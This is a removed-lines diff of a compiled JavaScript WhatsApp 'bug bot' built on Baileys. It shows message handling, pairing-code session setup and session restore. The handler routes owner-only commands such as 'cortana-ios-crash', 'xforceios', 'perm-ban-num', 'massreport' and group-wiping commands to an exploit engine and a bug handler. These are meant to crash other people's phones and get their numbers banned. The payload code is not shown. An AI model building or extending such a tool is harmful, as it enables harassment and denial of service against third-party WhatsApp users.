// Owner commands (fromMe=true + starts with prefix) ARE allowed through
|
|
1006
|
-
// Uses RAW message inspection to avoid relying on extractMessageContent
|
|
1007
|
-
// which can fail for various wrapped message formats in groups
|
|
1008
|
-
if (msg.key.fromMe) {
|
|
1009
|
-
const raw = msg.message;
|
|
1010
|
-
const anyText = raw?.conversation ||
|
|
1011
|
-
raw?.extendedTextMessage?.text ||
|
|
1012
|
-
raw?.imageMessage?.caption ||
|
|
1013
|
-
raw?.videoMessage?.caption ||
|
|
1014
|
-
raw?.deviceSentMessage?.message?.conversation ||
|
|
1015
|
-
raw?.deviceSentMessage?.message?.extendedTextMessage?.text ||
|
|
1016
|
-
raw?.ephemeralMessage?.message?.conversation ||
|
|
1017
|
-
raw?.ephemeralMessage?.message?.extendedTextMessage?.text ||
|
|
1018
|
-
raw?.viewOnceMessage?.message?.conversation ||
|
|
1019
|
-
raw?.viewOnceMessage?.message?.extendedTextMessage?.text ||
|
|
1020
|
-
messageContent || "";
|
|
1021
|
-
if (!anyText.trimStart().startsWith(currentPrefix)) {
|
|
1022
|
-
continue;
|
|
1023
|
-
}
|
|
1024
|
-
}
|
|
1025
|
-
// FILTER: Protocol messages and junk
|
|
1026
|
-
if ((0, message_helper_1.shouldIgnoreMessage)(msg)) {
|
|
1027
|
-
continue;
|
|
1028
|
-
}
|
|
1029
|
-
// MARK AS PROCESSED
|
|
1030
|
-
processedMessageIds.set(msgId, Date.now());
|
|
1031
|
-
if (!messageContent && !realMessage?.stickerMessage && !realMessage?.viewOnceMessageV2)
|
|
1032
|
-
continue;
|
|
1033
|
-
// Non-command messages in groups: silently skip logging
|
|
1034
|
-
// Only log commands to keep console clean
|
|
1035
|
-
// Cache message for antidelete/antiedit
|
|
1036
|
-
store_1.messageCache.add(msgId, msg);
|
|
1037
|
-
// โโโโโโ GROUP PROTECTION HANDLERS โโโโโโ
|
|
1038
|
-
// Run antilink + antibot on group messages BEFORE command processing
|
|
1039
|
-
if (isGroupMsg) {
|
|
1040
|
-
const linkBlocked = await (0, group_1.handleAntilink)(sock, msg, sessionId);
|
|
1041
|
-
if (linkBlocked)
|
|
1042
|
-
continue;
|
|
1043
|
-
const botBlocked = await (0, group_1.handleAntibot)(sock, msg, sessionId);
|
|
1044
|
-
if (botBlocked)
|
|
1045
|
-
continue;
|
|
1046
|
-
}
|
|
1047
|
-
// 4. Basic Info
|
|
1048
|
-
const rawJid = msg.key.remoteJid;
|
|
1049
|
-
const isGroup = rawJid.endsWith("@g.us");
|
|
1050
|
-
let jid = rawJid;
|
|
1051
|
-
if (!isGroup && msg.key.fromMe && sock.user?.id) {
|
|
1052
|
-
const botPhoneJid = sock.user.id.split(':')[0].split('@')[0] + '@s.whatsapp.net';
|
|
1053
|
-
if (rawJid.endsWith('@lid') || rawJid === sock.user.id || rawJid === sock.user.lid) {
|
|
1054
|
-
jid = botPhoneJid;
|
|
1055
|
-
}
|
|
1056
|
-
}
|
|
1057
|
-
const senderJid = isGroup ? (msg.key.participant || rawJid) : jid;
|
|
1058
|
-
const isFromMe = msg.key.fromMe;
|
|
1059
|
-
// 5. Command Detection
|
|
1060
|
-
const isPotentialCommand = messageContent.startsWith(currentPrefix);
|
|
1061
|
-
// 6. Mark as Read (ONLY for commands โ prevents invisible auto-read)
|
|
1062
|
-
if (isPotentialCommand) {
|
|
1063
|
-
// Fire and forget read receipt to avoid blocking
|
|
1064
|
-
sock.readMessages([msg.key]).catch(() => { });
|
|
1065
|
-
}
|
|
1066
|
-
// 7. Command Processing
|
|
1067
|
-
if (isPotentialCommand) {
|
|
1068
|
-
const commandName = messageContent.slice(currentPrefix.length).trim().split(' ')[0].toLowerCase();
|
|
1069
|
-
const args = messageContent.slice(currentPrefix.length + commandName.length).trim().split(' ').filter(Boolean);
|
|
1070
|
-
const text = args.join(' ');
|
|
1071
|
-
// Resolve group name for clean logging
|
|
1072
|
-
let groupName;
|
|
1073
|
-
if (isGroup) {
|
|
1074
|
-
try {
|
|
1075
|
-
// Timeout metadata fetch to prevent hanging
|
|
1076
|
-
const meta = await Promise.race([
|
|
1077
|
-
sock.groupMetadata(rawJid),
|
|
1078
|
-
new Promise((_, reject) => setTimeout(() => reject(new Error('Timeout')), 2000))
|
|
1079
|
-
]);
|
|
1080
|
-
groupName = meta?.subject;
|
|
1081
|
-
}
|
|
1082
|
-
catch {
|
|
1083
|
-
groupName = rawJid.split('@')[0];
|
|
1084
|
-
}
|
|
1085
|
-
}
|
|
1086
|
-
logger_1.default.md.cmd(commandName, senderJid, groupName);
|
|
1087
|
-
// 8. Owner Detection
|
|
1088
|
-
const isUserOwner = (0, message_helper_1.isOwner)(sock, msg, settings?.ownerNumber);
|
|
1089
|
-
// 9. Execute Command (Plugin or Exploit)
|
|
1090
|
-
const pluginCmd = types_1.commands.get(commandName);
|
|
1091
|
-
if (pluginCmd) {
|
|
1092
|
-
// Check Owner Only
|
|
1093
|
-
if (pluginCmd.ownerOnly && !isUserOwner) {
|
|
1094
|
-
await safeSendMessage(sock, jid, { text: '๐ *Owner Only*' });
|
|
1095
|
-
continue;
|
|
1096
|
-
}
|
|
1097
|
-
// Execute Plugin
|
|
1098
|
-
try {
|
|
1099
|
-
await pluginCmd.execute({
|
|
1100
|
-
sock,
|
|
1101
|
-
msg,
|
|
1102
|
-
args,
|
|
1103
|
-
text,
|
|
1104
|
-
senderJid,
|
|
1105
|
-
chatId: jid,
|
|
1106
|
-
isOwner: isUserOwner,
|
|
1107
|
-
sessionId,
|
|
1108
|
-
reply: async (t) => {
|
|
1109
|
-
// SELF-CHAT ONLY: When owner sends command to themselves
|
|
1110
|
-
// Check if rawJid is the bot's OWN jid (not just any DM)
|
|
1111
|
-
const botPhoneNum = sock.user?.id?.split(':')[0].split('@')[0];
|
|
1112
|
-
const rawJidNum = rawJid.split('@')[0].split(':')[0];
|
|
1113
|
-
const isSelfChat = !isGroup && msg.key.fromMe &&
|
|
1114
|
-
(rawJid.endsWith('@lid') || rawJidNum === botPhoneNum || rawJid === sock.user?.id || rawJid === sock.user?.lid);
|
|
1115
|
-
if (isSelfChat) {
|
|
1116
|
-
const phoneJid = botPhoneNum + '@s.whatsapp.net';
|
|
1117
|
-
const currentViewJid = msg.key.remoteJid || jid;
|
|
1118
|
-
await safeSendMessage(sock, phoneJid, { text: t });
|
|
1119
|
-
if (currentViewJid !== phoneJid) {
|
|
1120
|
-
await safeSendMessage(sock, currentViewJid, { text: t });
|
|
1121
|
-
}
|
|
1122
|
-
return;
|
|
1123
|
-
}
|
|
1124
|
-
return safeSendMessage(sock, jid, { text: t });
|
|
1125
|
-
}
|
|
1126
|
-
});
|
|
1127
|
-
logger_1.default.md.cmdDone(commandName, groupName);
|
|
1128
|
-
}
|
|
1129
|
-
catch (err) {
|
|
1130
|
-
logger_1.default.err.md(`Command ${commandName}`, err);
|
|
1131
|
-
await safeSendMessage(sock, jid, { text: `โ Error: ${err.message}` });
|
|
1132
|
-
}
|
|
1133
|
-
}
|
|
1134
|
-
else {
|
|
1135
|
-
// Check Exploit Commands
|
|
1136
|
-
const exploitCommands = [
|
|
1137
|
-
'cortana-andro-fc', 'cortana-fc-one', 'cortana-delay-andro',
|
|
1138
|
-
'cortana-ios-crash', 'cortana-delay-ios',
|
|
1139
|
-
'cortana-xcrash', 'edu-combo',
|
|
1140
|
-
'cortana-status-crash', 'cortana-payment-crash', 'cortana-invite-crash',
|
|
1141
|
-
'cortana-video-crash', 'cortana-text-crash', 'cortana-sticker-crash',
|
|
1142
|
-
'cortana-audio-crash', 'cortana-location-crash', 'cortana-list-crash',
|
|
1143
|
-
'cortana-newsletter-v1', 'cortana-newsletter-v2',
|
|
1144
|
-
'perm-ban-num', 'temp-ban-num'
|
|
1145
|
-
];
|
|
1146
|
-
if (exploitCommands.includes(commandName)) {
|
|
1147
|
-
if (!isUserOwner) {
|
|
1148
|
-
await safeSendMessage(sock, jid, { text: '๐ *Owner Only*' });
|
|
1149
|
-
continue;
|
|
1150
|
-
}
|
|
1151
|
-
try {
|
|
1152
|
-
await (0, exploit_engine_1.executeExploit)(sock, commandName, text || jid);
|
|
1153
|
-
}
|
|
1154
|
-
catch (err) {
|
|
1155
|
-
logger_1.default.err.md(`Exploit ${commandName}`, err);
|
|
1156
|
-
await safeSendMessage(sock, jid, { text: `โ Exploit Error: ${err.message}` });
|
|
1157
|
-
}
|
|
1158
|
-
}
|
|
1159
|
-
}
|
|
1160
|
-
}
|
|
1161
|
-
}
|
|
1162
|
-
catch (handlerError) {
|
|
1163
|
-
logger_1.default.err.md('Message processing', handlerError);
|
|
1164
|
-
}
|
|
1165
|
-
}
|
|
1166
|
-
}
|
|
1167
|
-
catch (fatalError) {
|
|
1168
|
-
logger_1.default.err.md('Fatal batch error', fatalError);
|
|
1169
|
-
}
|
|
1170
|
-
});
|
|
1171
|
-
}
|
|
1172
|
-
else {
|
|
1173
|
-
// BUG BOT Logic - "Death Edition"
|
|
1174
|
-
sock.ev.on("messages.upsert", async ({ messages, type }) => {
|
|
1175
|
-
if (type !== "notify")
|
|
1176
|
-
return;
|
|
1177
|
-
for (const msg of messages) {
|
|
1178
|
-
// โโโโโโโ STABILITY FIX: IGNORE INVALID/PROTOCOL MESSAGES (BUG BOT) โโโโโโโ
|
|
1179
|
-
if (!msg.message)
|
|
1180
|
-
continue;
|
|
1181
|
-
if (msg.message.protocolMessage)
|
|
1182
|
-
continue;
|
|
1183
|
-
if (msg.message.senderKeyDistributionMessage)
|
|
1184
|
-
continue;
|
|
1185
|
-
if (msg.message.reactionMessage)
|
|
1186
|
-
continue;
|
|
1187
|
-
if (msg.message.pollUpdateMessage)
|
|
1188
|
-
continue;
|
|
1189
|
-
if (msg.message.pollCreationMessage)
|
|
1190
|
-
continue;
|
|
1191
|
-
if (msg.message.pollCreationMessageV3)
|
|
1192
|
-
continue;
|
|
1193
|
-
if (msg.message.messageContextInfo && Object.keys(msg.message).length === 1)
|
|
1194
|
-
continue;
|
|
1195
|
-
if (msg.message.receiptMessage)
|
|
1196
|
-
continue;
|
|
1197
|
-
if (msg.message.callLogMesssage)
|
|
1198
|
-
continue;
|
|
1199
|
-
if (msg.message.deviceSentMessage && !msg.message.deviceSentMessage.message)
|
|
1200
|
-
continue;
|
|
1201
|
-
if (msg.message.pinInChatMessage)
|
|
1202
|
-
continue;
|
|
1203
|
-
if (msg.key && msg.key.remoteJid === 'status@broadcast' && !msg.message)
|
|
1204
|
-
continue;
|
|
1205
|
-
// IGNORE NEWSLETTER MESSAGES - Prevents bot self-triggering
|
|
1206
|
-
if (msg.key && msg.key.remoteJid && msg.key.remoteJid.endsWith('@newsletter'))
|
|
1207
|
-
continue;
|
|
1208
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1209
|
-
// Don't auto-read here (prevents invisible auto-read behavior)
|
|
1210
|
-
const jid = msg.key.remoteJid;
|
|
1211
|
-
const isGroup = jid.endsWith("@g.us");
|
|
1212
|
-
const settings = await storage_1.storage.getBotSettings(sessionId);
|
|
1213
|
-
let text = msg.message.conversation || msg.message.extendedTextMessage?.text || "";
|
|
1214
|
-
// Dynamic prefix support - use settings prefix or default to "."
|
|
1215
|
-
const currentPrefix = settings?.prefix || PREFIX;
|
|
1216
|
-
// EFFICIENCY: Only process messages starting with current prefix
|
|
1217
|
-
if (!text || !text.startsWith(currentPrefix))
|
|
1218
|
-
continue;
|
|
1219
|
-
// Helper to check for command
|
|
1220
|
-
const isCmd = true; // We already filtered for prefix above
|
|
1221
|
-
const command = text.slice(currentPrefix.length).trim().split(' ')[0];
|
|
1222
|
-
const commandLower = command.toLowerCase();
|
|
1223
|
-
const args = text.trim().split(' ').slice(1);
|
|
1224
|
-
const q = args.join(" ");
|
|
1225
|
-
console.log(`[CMD - DEBUG] Command: "${commandLower}" | Args: "${args.join(' ')}" | From: ${msg.key.remoteJid}`);
|
|
1226
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1227
|
-
// OWNER DETECTION - CRITICAL FOR EXPLOIT COMMANDS
|
|
1228
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1229
|
-
const senderJid = isGroup ? (msg.key.participant || msg.participant || "") : jid;
|
|
1230
|
-
const senderNumber = senderJid.split("@")[0];
|
|
1231
|
-
const botNumber = sock.user?.id?.split(':')[0]?.split('@')[0];
|
|
1232
|
-
const botLid = sock.user?.lid;
|
|
1233
|
-
// Enhanced detection handles LIDs and Bot Self properly
|
|
1234
|
-
const isFromMeActual = msg.key.fromMe === true ||
|
|
1235
|
-
(senderJid.endsWith('@lid') && botLid === senderJid) ||
|
|
1236
|
-
(senderNumber === botNumber);
|
|
1237
|
-
const isOwner = senderNumber === botNumber ||
|
|
1238
|
-
senderNumber === settings?.ownerNumber ||
|
|
1239
|
-
isFromMeActual;
|
|
1240
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1241
|
-
// BUG BOT COMMAND DELEGATION TO BUGHANDLER.JS
|
|
1242
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1243
|
-
if (isCmd) {
|
|
1244
|
-
// ALL Bug Bot commands from bughandler.js (menu/help moved to plugin system)
|
|
1245
|
-
const bugBotCommands = [
|
|
1246
|
-
// Note: 'menu' and 'help' are now handled by plugins/menu-carousel.ts
|
|
1247
|
-
'start', 'cortana', 'edu',
|
|
1248
|
-
// V5 iOS NUKE
|
|
1249
|
-
'xforceios', 'xinvisios', 'xcrashios',
|
|
1250
|
-
// V5 Android NUKE
|
|
1251
|
-
'xforceui', 'xcrashui', 'xdelay', 'xcarousel',
|
|
1252
|
-
// Legacy Crash-SMS
|
|
1253
|
-
'oneterm', 'cortanacall', 'trashem',
|
|
1254
|
-
// Crash-Home
|
|
1255
|
-
'newyear', 'edudevice',
|
|
1256
|
-
// Delay-Invis
|
|
1257
|
-
'kindiki', 'cortanazap', 'zeroreturn',
|
|
1258
|
-
// Group Commands
|
|
1259
|
-
'kufeni', 'fuckall', 'cookall',
|
|
1260
|
-
// Ban Exploits
|
|
1261
|
-
'realban', 'attemptexp', 'reportall', 'massreport',
|
|
1262
|
-
// Force Message
|
|
1263
|
-
'forcemessage',
|
|
1264
|
-
// Fun Commands
|
|
1265
|
-
'play', 'sticker', 'toimg',
|
|
1266
|
-
// Owner Commands
|
|
1267
|
-
'private', 'public', 'addprem', 'delprem', 'listprem'
|
|
1268
|
-
];
|
|
1269
|
-
if (bugBotCommands.includes(commandLower)) {
|
|
1270
|
-
// DELEGATE TO BUGHANDLER
|
|
1271
|
-
console.log('[BUGBOT] Command detected:', commandLower);
|
|
1272
|
-
try {
|
|
1273
|
-
const handler = getBugHandler();
|
|
1274
|
-
if (handler) {
|
|
1275
|
-
// Preprocess message for bughandler compatibility
|
|
1276
|
-
// bughandler expects: m.mtype, m.chat, m.sender, m.message, m.key, m.isGroup
|
|
1277
|
-
const mtype = Object.keys(msg.message || {})[0] || 'conversation';
|
|
1278
|
-
const processedMsg = {
|
|
1279
|
-
...msg,
|
|
1280
|
-
mtype: mtype,
|
|
1281
|
-
chat: msg.key.remoteJid,
|
|
1282
|
-
sender: msg.key.participant || msg.key.remoteJid,
|
|
1283
|
-
msg: msg.message?.[mtype] || {},
|
|
1284
|
-
text: text,
|
|
1285
|
-
isGroup: isGroup
|
|
1286
|
-
};
|
|
1287
|
-
console.log('[BUGBOT] Delegating to handler:', { command: commandLower, sender: processedMsg.sender });
|
|
1288
|
-
await handler(sock, processedMsg, null, null, exports.activeSockets);
|
|
1289
|
-
console.log('[BUGBOT] Handler completed successfully');
|
|
1290
|
-
}
|
|
1291
|
-
else {
|
|
1292
|
-
console.error('[BUGBOT] โ BugHandler not available - handler is null/undefined');
|
|
1293
|
-
await sock.sendMessage(jid, { text: 'โ Bug handler failed to load. Check server logs.' });
|
|
1294
|
-
// [DELETED-CHUNK-3]
|
|
1295
|
-
}
|
|
1296
|
-
}
|
|
1297
|
-
catch (e) {
|
|
1298
|
-
console.error('[BUGBOT] Handler error:', e);
|
|
1299
|
-
}
|
|
1300
|
-
}
|
|
1301
|
-
}
|
|
1302
|
-
}
|
|
1303
|
-
}); // End of on('messages.upsert')
|
|
1304
|
-
}
|
|
1305
|
-
return sock;
|
|
1306
|
-
}
|
|
1307
|
-
catch (err) {
|
|
1308
|
-
console.error(`startSocket failed for ${sessionId}: `, err);
|
|
1309
|
-
throw err;
|
|
1310
|
-
}
|
|
1311
|
-
}
|
|
1312
|
-
async function requestPairingCode(phoneNumber, type = 'md', createdBy) {
|
|
1313
|
-
const cleanPhone = phoneNumber.replace(/[^0-9]/g, "");
|
|
1314
|
-
if (cleanPhone.length < 10)
|
|
1315
|
-
throw new Error("Invalid phone number");
|
|
1316
|
-
const sessionId = (0, crypto_1.randomUUID)();
|
|
1317
|
-
await storage_1.storage.createSession({
|
|
1318
|
-
id: sessionId,
|
|
1319
|
-
phoneNumber: cleanPhone,
|
|
1320
|
-
type,
|
|
1321
|
-
status: "pending",
|
|
1322
|
-
createdBy: createdBy || null,
|
|
1323
|
-
creds: null,
|
|
1324
|
-
keys: null,
|
|
1325
|
-
});
|
|
1326
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1327
|
-
// PROPER PAIRING FLOW - Wait for connection.update event before requesting
|
|
1328
|
-
// Based on Baileys documentation: must wait for 'connecting' state or QR
|
|
1329
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1330
|
-
return new Promise(async (resolve, reject) => {
|
|
1331
|
-
let pairingRequested = false;
|
|
1332
|
-
let connectionTimeout = null;
|
|
1333
|
-
try {
|
|
1334
|
-
// Create socket
|
|
1335
|
-
const sock = await startSocket(sessionId, cleanPhone, type);
|
|
1336
|
-
// Set timeout for entire operation (60 seconds)
|
|
1337
|
-
connectionTimeout = setTimeout(async () => {
|
|
1338
|
-
if (!pairingRequested) {
|
|
1339
|
-
console.error(`[PAIRING] Session ${sessionId} connection timeout`);
|
|
1340
|
-
await storage_1.storage.updateSession(sessionId, { status: "failed" });
|
|
1341
|
-
exports.activeSockets.delete(sessionId);
|
|
1342
|
-
try {
|
|
1343
|
-
sock.end(undefined);
|
|
1344
|
-
}
|
|
1345
|
-
catch { }
|
|
1346
|
-
reject(new Error("Connection timeout - WhatsApp servers not responding"));
|
|
1347
|
-
}
|
|
1348
|
-
}, 60000);
|
|
1349
|
-
// Listen for connection updates to know when socket is ready
|
|
1350
|
-
const connectionHandler = async (update) => {
|
|
1351
|
-
const { connection, qr } = update;
|
|
1352
|
-
console.log(`[PAIRING] Session ${sessionId} connection update: `, connection || (qr ? 'QR received' : 'event'));
|
|
1353
|
-
// Request pairing code when connection is "connecting" OR QR is received
|
|
1354
|
-
// This is when the WebSocket is ready per Baileys documentation
|
|
1355
|
-
if ((connection === 'connecting' || qr) && !pairingRequested && !sock.authState.creds.registered) {
|
|
1356
|
-
pairingRequested = true;
|
|
1357
|
-
// Small delay to ensure WebSocket is fully established
|
|
1358
|
-
await new Promise(r => setTimeout(r, 1500));
|
|
1359
|
-
let retries = 3;
|
|
1360
|
-
while (retries > 0) {
|
|
1361
|
-
try {
|
|
1362
|
-
console.log(`[PAIRING] Requesting pairing code for ${cleanPhone}... (Attempt ${4 - retries})`);
|
|
1363
|
-
const pairingCode = await sock.requestPairingCode(cleanPhone);
|
|
1364
|
-
pairingCodes.set(sessionId, pairingCode);
|
|
1365
|
-
if (connectionTimeout)
|
|
1366
|
-
clearTimeout(connectionTimeout);
|
|
1367
|
-
sock.ev.off('connection.update', connectionHandler);
|
|
1368
|
-
console.log(`[PAIRING] โ
Code generated: ${pairingCode} `);
|
|
1369
|
-
resolve({ sessionId, pairingCode });
|
|
1370
|
-
return;
|
|
1371
|
-
}
|
|
1372
|
-
catch (error) {
|
|
1373
|
-
console.error(`[PAIRING] Attempt ${4 - retries} failed: `, error.message);
|
|
1374
|
-
retries--;
|
|
1375
|
-
if (retries === 0) {
|
|
1376
|
-
if (connectionTimeout)
|
|
1377
|
-
clearTimeout(connectionTimeout);
|
|
1378
|
-
sock.ev.off('connection.update', connectionHandler);
|
|
1379
|
-
await storage_1.storage.updateSession(sessionId, { status: "failed" });
|
|
1380
|
-
exports.activeSockets.delete(sessionId);
|
|
1381
|
-
try {
|
|
1382
|
-
sock.end(undefined);
|
|
1383
|
-
}
|
|
1384
|
-
catch { }
|
|
1385
|
-
reject(new Error("Failed to generate pairing code after 3 attempts: " + error.message));
|
|
1386
|
-
return;
|
|
1387
|
-
}
|
|
1388
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
1389
|
-
}
|
|
1390
|
-
}
|
|
1391
|
-
}
|
|
1392
|
-
// If connection opens (already registered phone)
|
|
1393
|
-
if (connection === 'open') {
|
|
1394
|
-
if (connectionTimeout)
|
|
1395
|
-
clearTimeout(connectionTimeout);
|
|
1396
|
-
sock.ev.off('connection.update', connectionHandler);
|
|
1397
|
-
await storage_1.storage.updateSession(sessionId, { status: "connected" });
|
|
1398
|
-
reject(new Error("Number already linked to a WhatsApp session"));
|
|
1399
|
-
return;
|
|
1400
|
-
}
|
|
1401
|
-
// Handle close during pairing
|
|
1402
|
-
if (connection === 'close' && !pairingRequested) {
|
|
1403
|
-
if (connectionTimeout)
|
|
1404
|
-
clearTimeout(connectionTimeout);
|
|
1405
|
-
sock.ev.off('connection.update', connectionHandler);
|
|
1406
|
-
await storage_1.storage.updateSession(sessionId, { status: "failed" });
|
|
1407
|
-
exports.activeSockets.delete(sessionId);
|
|
1408
|
-
reject(new Error("Connection closed before pairing could start"));
|
|
1409
|
-
return;
|
|
1410
|
-
}
|
|
1411
|
-
};
|
|
1412
|
-
sock.ev.on('connection.update', connectionHandler);
|
|
1413
|
-
}
|
|
1414
|
-
catch (error) {
|
|
1415
|
-
if (connectionTimeout)
|
|
1416
|
-
clearTimeout(connectionTimeout);
|
|
1417
|
-
await storage_1.storage.updateSession(sessionId, { status: "failed" });
|
|
1418
|
-
reject(error);
|
|
1419
|
-
}
|
|
1420
|
-
});
|
|
1421
|
-
}
|
|
1422
|
-
async function getSessionStatus(sessionId) {
|
|
1423
|
-
const session = await storage_1.storage.getSession(sessionId);
|
|
1424
|
-
return session?.status || "not_found";
|
|
1425
|
-
}
|
|
1426
|
-
function getPairingCode(sessionId) {
|
|
1427
|
-
return pairingCodes.get(sessionId);
|
|
1428
|
-
}
|
|
1429
|
-
async function disconnectSession(sessionId) {
|
|
1430
|
-
const sock = exports.activeSockets.get(sessionId);
|
|
1431
|
-
if (sock) {
|
|
1432
|
-
try {
|
|
1433
|
-
sock.end(undefined);
|
|
1434
|
-
}
|
|
1435
|
-
catch { }
|
|
1436
|
-
exports.activeSockets.delete(sessionId);
|
|
1437
|
-
}
|
|
1438
|
-
await storage_1.storage.updateSession(sessionId, { status: "disconnected" });
|
|
1439
|
-
}
|
|
1440
|
-
function getActiveSessionsCount() {
|
|
1441
|
-
return exports.activeSockets.size;
|
|
1442
|
-
}
|
|
1443
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1444
|
-
// AUTO-RESTORE SESSIONS ON SERVER STARTUP
|
|
1445
|
-
// IMPROVED: Only restores sessions that were previously CONNECTED
|
|
1446
|
-
// Sessions that logged out or failed are deleted, not restored
|
|
1447
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1448
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1449
|
-
// AUTO-RESTORE SESSIONS ON SERVER STARTUP
|
|
1450
|
-
// IMPROVED: Scans FILESYSTEM for orphaned sessions (fixes DB wipe issue)
|
|
1451
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1452
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1453
|
-
// AUTO-RESTORE SESSIONS ON SERVER STARTUP
|
|
1454
|
-
// IMPROVED: Scans FILESYSTEM for orphaned sessions (fixes DB wipe issue)
|
|
1455
|
-
// โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
|
1456
|
-
async function restoreAllSessions() {
|
|
1457
|
-
console.log('|MD| Starting MD Bot session restore...');
|
|
1458
|
-
try {
|
|
1459
|
-
// 1. Get DB Sessions (MD only)
|
|
1460
|
-
const dbSessions = await storage_1.storage.getAllSessions();
|
|
1461
|
-
const mdDbSessions = dbSessions.filter((s) => s.type === 'md' || !s.type);
|
|
1462
|
-
const dbSessionMap = new Map(mdDbSessions.map((s) => [s.id, s]));
|
|
1463
|
-
console.log(`| MD | Found ${mdDbSessions.length} MD sessions in database`);
|
|
1464
|
-
// 2. Scan Filesystem for Orphans (MD only)
|
|
1465
|
-
const mdDir = path_1.default.join(process.cwd(), "auth_sessions", "md");
|
|
1466
|
-
const fsSessions = [];
|
|
1467
|
-
if (fs_1.default.existsSync(mdDir)) {
|
|
1468
|
-
fs_1.default.readdirSync(mdDir).forEach(file => {
|
|
1469
|
-
if (fs_1.default.statSync(path_1.default.join(mdDir, file)).isDirectory()) {
|
|
1470
|
-
fsSessions.push(file);
|
|
1471
|
-
}
|
|
1472
|
-
});
|
|
1473
|
-
}
|
|
1474
|
-
console.log(`| MD | Found ${fsSessions.length} MD session folders on disk`);
|
|
1475
|
-
// 3. Merge & Recover (MD sessions only)
|
|
1476
|
-
const allSessionIds = new Set([...dbSessionMap.keys(), ...fsSessions]);
|
|
1477
|
-
if (allSessionIds.size === 0) {
|
|
1478
|
-
console.log('|MD| No MD sessions found (DB or Disk). Fresh start!');
|
|
1479
|
-
return;
|
|
1480
|
-
}
|
|
1481
|
-
console.log(`| MD | Attempting to recover ${allSessionIds.size} MD sessions...`);
|
|
1482
|
-
// 4. SERIAL RESTORE (One by One)
|
|
1483
|
-
// This prevents "Thundering Herd" 408 CPU spikes
|
|
1484
|
-
const potentialList = Array.from(allSessionIds);
|
|
1485
|
-
const SERIAL_DELAY = 3000; // 3 seconds between sessions
|
|
1486
|
-
for (let i = 0; i < potentialList.length; i++) {
|
|
1487
|
-
const sessionId = potentialList[i];
|
|
1488
|
-
console.log(`| MD | [${i + 1}/${potentialList.length}] Restoring: ${sessionId}`);
|
|
1489
|
-
try {
|
|
1490
|
-
const authDir = path_1.default.join(process.cwd(), "auth_sessions", "md", sessionId);
|
|
1491
|
-
if (!fs_1.default.existsSync(authDir)) {
|
|
1492
|
-
console.log(`| MD | Session ${sessionId} missing files - Removing from DB`);
|
|
1493
|
-
await storage_1.storage.deleteSession(sessionId);
|
|
1494
|
-
continue;
|
|
1495
|
-
}
|
|
1496
|
-
if (!dbSessionMap.has(sessionId)) {
|
|
1497
|
-
console.log(`| MD | ๐ป Recovering ORPHAN session: ${sessionId} `);
|
|
1498
|
-
await storage_1.storage.createSession({
|
|
1499
|
-
id: sessionId,
|
|
1500
|
-
phoneNumber: "Recovering...",
|
|
1501
|
-
type: 'md',
|
|
1502
|
-
status: "pending",
|
|
1503
|
-
createdBy: "SYSTEM_RECOVERY",
|
|
1504
|
-
creds: null,
|
|
1505
|
-
keys: null
|
|
1506
|
-
});
|
|
1507
|
-
}
|
|
1508
|
-
// Cleanup residue files before starting (fixes loops)
|
|
1509
|
-
cleanSessionResidue(sessionId, 'md');
|
|
1510
|
-
// Attempt Start
|
|
1511
|
-
try {
|
|
1512
|
-
await startSocket(sessionId, undefined, 'md');
|
|
1513
|
-
console.log(`| MD | โ
Signal sent for ${sessionId}`);
|
|
1514
|
-
}
|
|
1515
|
-
catch (e) {
|
|
1516
|
-
console.error(`| MD | โ Start failed for ${sessionId}:`, e.message);
|
|
1517
|
-
}
|
|
1518
|
-
// WAIT before next session to spread CPU load
|
|
1519
|
-
if (i < potentialList.length - 1) {
|
|
1520
|
-
await new Promise(r => setTimeout(r, SERIAL_DELAY));
|
|
1521
|
-
}
|
|
1522
|
-
}
|
|
1523
|
-
catch (e) {
|
|
1524
|
-
console.error(`| MD | โ Critical error recovering ${sessionId}: `, e.message);
|
|
1525
|
-
// If it crashed hard during startup, it's likely corrupt.
|
|
1526
|
-
console.log(`| MD | ๐งน Deleting corrupt session: ${sessionId} `);
|
|
1527
|
-
await storage_1.storage.deleteSession(sessionId);
|
|
1528
|
-
// Delete files
|
|
1529
|
-
const mdPath = path_1.default.join(process.cwd(), "auth_sessions", "md", sessionId);
|
|
1530
|
-
const bugPath = path_1.default.join(process.cwd(), "auth_sessions", "bug", sessionId);
|
|
1531
|
-
if (fs_1.default.existsSync(mdPath))
|
|
1532
|
-
fs_1.default.rmSync(mdPath, { recursive: true, force: true });
|
|
1533
|
-
if (fs_1.default.existsSync(bugPath))
|
|
1534
|
-
fs_1.default.rmSync(bugPath, { recursive: true, force: true });
|
|
1535
|
-
}
|
|
1536
|
-
}
|
|
1537
|
-
